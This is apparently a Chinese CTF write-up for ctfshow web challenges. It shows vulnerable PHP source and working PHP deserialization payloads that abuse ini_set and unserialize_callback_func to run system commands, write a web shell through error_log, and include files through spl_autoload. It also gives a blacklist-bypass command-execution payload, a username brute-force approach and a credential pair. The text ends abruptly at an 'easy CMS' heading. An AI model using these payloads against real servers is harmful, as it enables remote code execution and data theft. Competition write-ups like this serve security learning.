ctfshow大牛杯

easy_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'display_errors'=>'On',
'allow_url_fopen'=>'On'
);
$this->params=array();
}
public function __wakeup(){
foreach ($this->settings as $key => $value) {
ini_set($key, $value);
}
}

public function __destruct(){
file_put_contents('settings.inc', unserialize($this->params));
}
}

unserialize($_GET['data']);

可以利用ini_set进行在线配置,相当于热加载,参数还是可控的,直接找可利用函数即可,找到unserialize_callback_func,这个函数可以执行函数,而函数参数是反序列化的类名,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'system',
);
$this->params='O:2:"ls":0:{}';
}
}
$a=new main();
echo serialize($a);

这样子就可以,还有个很好利用的方向就是,只要值是没有定义的方法,就会把这个方法在报错中显示出来,也就是相当于执行命令了,而我们再把错误日志给写出来,进行动态设置,相当于是一个软链接,就可以去访问拿到命令执行的结果了,还要设置html_errors不然会把错误进行html编码就不能得到结果了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A{
}
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'error_log'=>'shell.php',
/*'unserialize_callback_func'=>'<?php phpinfo();?>',*/
'unserialize_callback_func'=>'<?php system("ls /");?>',
'html_errors'=>false
);
$this->params=serialize(new A());
}
}
$a=new main();
echo serialize($a);

还有个函数

spl_autoload
它可以接收两个参数,第一个参数是$class_name,表示类名,第二个参数$file_extensions是可选的,表示类文件的扩展名,如果不指定的话,它将使用默认的扩展名.inc或.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class settings{

}
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'spl_autoload',
);
//$this->params=serialize("<?php system('cat /f*');"); 生成settings.inc文件,内容是<?php system('cat /f*');
//$this->params=serialize(new settings()); 加载settings.inc

}
}
$a=new main();
echo serialize($a);

依次执行即可

RealWorld_CyberShow

进去之后,先进blog才能拿到第四个页面,给了用户名模板和初始密码,爆破用户名就可以了

1
2020036001\363636

web_checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
include "config.php";
//flag in /

function check_letter($code){
$letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
for ($i = 0; $i < count($letter_blacklist); $i+=2){
if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
die("xi nei~");
}
}
}

function check_character($code){
$character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
for ($i = 1; $i < count($character_blacklist); $i+=2){
if (preg_match("/".$character_blacklist[$i]."/", $code)){
die("tongtong xi nei~");
}
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir);
}
if (isset($_GET["code"])) {
$code = substr($_GET["code"], 0, 12);
check_letter($code);
check_character($code);

file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
echo $dir;
}else{
highlight_file(__FILE__);
}

看着特别吓人,直接给闭合了就完事了

1
?code=?><?=`nl%09/*`

easy CMS